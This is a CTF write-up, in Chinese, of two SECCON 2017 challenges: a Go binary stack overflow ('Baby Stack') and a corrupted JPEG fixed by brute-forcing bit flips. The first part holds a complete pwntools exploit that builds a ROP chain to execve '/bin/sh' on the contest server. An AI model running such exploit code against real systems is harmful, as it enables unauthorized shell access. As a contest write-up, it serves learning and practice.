SECCON 2017 Online CTF

Baby Stack

一个简单的缓冲区溢题目,程序由go 语言编写而成,所以并不能直接F5去分析。

analysis


程序的main_memcpy存在漏洞,可发生栈溢出

在调试的过程中,我们会发现一个不一样的地方

正常,我们都是rip储存着返回地址,而这确实rsp存储的,这就意味着函数入口时的rsp指向retn地址,下面跟着参数

另外还有一个问题,如果是只是单纯的"A"*192+p64(ret)程序是会报错的,

call main_memcpy结束后,我们可以看到有两条汇编

1
2
3
.text:00000000004012A4                 mov     rbx, [rsp+1f8h+name.str]
.text:00000000004012AC mov [rsp+1F8h+var_E0], rbx
.text:00000000004012B4 mov rbx, [rsp+1f8h+name.len]

有两条栈操作,对象分别是name的字符串以及一个name的长度,于是我们构造一个
payload = "B" * 104 + p64(0x0000000000599940) + p64(0x200) + "D" * 8

那么剩下的事情只要构造 rop-chain就行了
思路如下,构造一个read 读入 /bin/sh , 读入地址在bss上,然后构造 execve 去执行 /bin/sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/env python
# coding=utf-8


from pwn import *
import sys, time

context.log_level = 'debug'
context.terminal =['tmux','splitw','-h']
context.binary = "./baby_stack"

if len(sys.argv) == 1:
p = process(["./baby_stack"])
pause()

else:
p = remote("baby_stack.pwn.seccon.jp", "15285")

bss = 0x000000000059f920
syscall = 0x0000000000456889 # syscall; ret;
pop_rax_ret = 0x00000000004016ea # pop rax; ret;
pop_rsi_ret = 0x000000000046defd # pop rsi; ret;
pop_rdi_ret = 0x0000000000470931 # pop rdi; or byte ptr [rax + 0x39], cl; ret;
pop_rdx_ret = 0x00000000004a247c # pop rdx; or byte ptr [rax - 0x77], cl; ret;


p.recvuntil("name >> ")
p.sendline("A" * 0x100)
p.recvuntil("message >> ")
raw_input('---- debug ----')

payload = "B"*104+'\0'*8+p64(0x200)
payload = "B" * 104 + p64(0x0000000000599940) + p64(0x200) + "D" * 8
payload += "C" * 0x48 + p64(syscall) + p64(0x200)
payload += "E" * (0x80 + 0x40)
payload += p64(pop_rax_ret) + p64(bss)
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_ret) + p64(bss + 0x200)
payload += p64(pop_rdx_ret) + p64(0x100)
payload += p64(pop_rax_ret) + p64(0) # read
payload += p64(syscall)

payload += p64(pop_rax_ret) + p64(bss)
payload += p64(pop_rdi_ret) + p64(bss + 0x200)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(pop_rax_ret) + p64(59) # __NR_execve
payload += p64(syscall)
gdb.attach(p,'''break *0x40129F
break *0x401465''')
pause()
p.sendline(payload)
pause()
p.sendline("/bin/sh\x00")
pause()

p.interactive()

JPEG file

JPEG file
Read this JPEG is broken.
It will be fixed if you change somewhere by 1 bit.

https://www.imagemagick.org/script/identify.php
用这的工具去检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
magick identify -verbose tktk.jpg
Image: tktk.jpg
Format: JPEG (Joint Photographic Experts Group JFIF format)
Mime type: image/jpeg
Class: DirectClass
Geometry: 339x53+0+0
Resolution: 192x192
Print size: 1.76562x0.276042
Units: PixelsPerInch
Type: Grayscale
Base type: TrueColor
Endianess: Undefined
Colorspace: sRGB
Depth: 8-bit
Channel depth:
Gray: 8-bit
Channel statistics:
Pixels: 17967
Gray:
min: 99 (0.388235)
max: 153 (0.6)
mean: 128.001 (0.501966)
standard deviation: 0.796015 (0.00312163)
kurtosis: 879.955
skewness: 0.249206
entropy: 0.0271321
Colors: 14
Histogram:
4: ( 99, 99, 99) #636363 grey39
4: (113,113,113) #717171 srgb(113,113,113)
4: (115,115,115) #737373 grey45
4: (117,117,117) #757575 grey46
4: (121,121,121) #797979 srgb(121,121,121)
16: (126,126,126) #7E7E7E gray
28: (127,127,127) #7F7F7F grey50
17799: (128,128,128) #808080 fractal
68: (129,129,129) #818181 srgb(129,129,129)
4: (130,130,130) #828282 grey51
8: (131,131,131) #838383 srgb(131,131,131)
12: (132,132,132) #848484 srgb(132,132,132)
4: (137,137,137) #898989 srgb(137,137,137)
8: (153,153,153) #999999 grey60
Rendering intent: Perceptual
Gamma: 0.454545
Chromaticity:
red primary: (0.64,0.33)
green primary: (0.3,0.6)
blue primary: (0.15,0.06)
white point: (0.3127,0.329)
Matte color: grey74
Background color: white
Border color: srgb(223,223,223)
Transparent color: none
Interlace: None
Intensity: Undefined
Compose: Over
Page geometry: 339x53+0+0
Dispose: Undefined
Iterations: 0
Compression: JPEG
Quality: 95
Orientation: Undefined
Properties:
date:create: 2017-12-12T15:19:55+08:00
date:modify: 2017-12-09T22:18:51+08:00
jpeg:colorspace: 2
jpeg:sampling-factor: 2x2,1x1,1x1
signature: be9fd7cce707a16b630c1db97798b1f402a0dd2da77fb636cc8e2647abcc768e
Artifacts:
verbose: true
Tainted: False
Filesize: 11628B
Number pixels: 17967
Pixels per second: 898351B
User time: 0.010u
Elapsed time: 0:01.019
Version: ImageMagick 7.0.7-14 Q16 x86_64 2017-12-07 http://www.imagemagick.org
identify: Corrupt JPEG data: premature end of data segment `tktk.jpg' @ warning/jpeg.c/JPEGWarningHandler/365.
identify: Unsupported marker type 0xfc `tktk.jpg' @ warning/jpeg.c/JPEGErrorHandler/329.

可以看到错误的字节是 0xfc
由于标记以0xFF开头,因此我们只需要在二进制文件中找到FF FC,并在0xFF中改变一些位以删除该无效标记

1
2
3
4
5
6
# swing @ swingdeMacBook-Pro in ~/MyCTF/SECCON/re/jpg-file [15:23:57]
$ binwalk -R "\xFF\xFC" tktk.jpg

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
623 0x26F \xFF\xFC

确定偏移后 就是暴力出奇迹的时候了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python2
import os
import time

f = open("./tktk")
origin = f.read()
f.close()

byte = 623
bit = 1
while(True):
#if(raw_input() == "b"):
# break
print "Byte, bit: %d, %d" % (byte, bit)
content = origin[:byte] + chr(ord(origin[byte]) ^ (1 << bit)) + origin[byte+1:]
outfile = open("./tktkout.jpg", "w")
outfile.write(content)
outfile.close()
bit += 1
if(bit == 8):
bit = 0
byte += 1
os.system("/Users/xxx/.iterm2/imgcat ./tktkout.jpg")

[[‘T’, ‘h’, ‘e’, ‘q’, ‘u’, ‘i’, ‘c’], [‘k’, ‘b’, ‘r’, ‘o’, ‘w’, ‘n’, ‘f’], [‘o’, ‘x’, ‘j’, ‘u’, ‘m’, ‘p’, ‘s’], [‘o’, ‘v’, ‘e’, ‘r’, ‘t’, ‘h’, ‘e’], [‘l’, ‘a’, ‘z’,’y’, ‘d’, ‘o’, ‘g’]]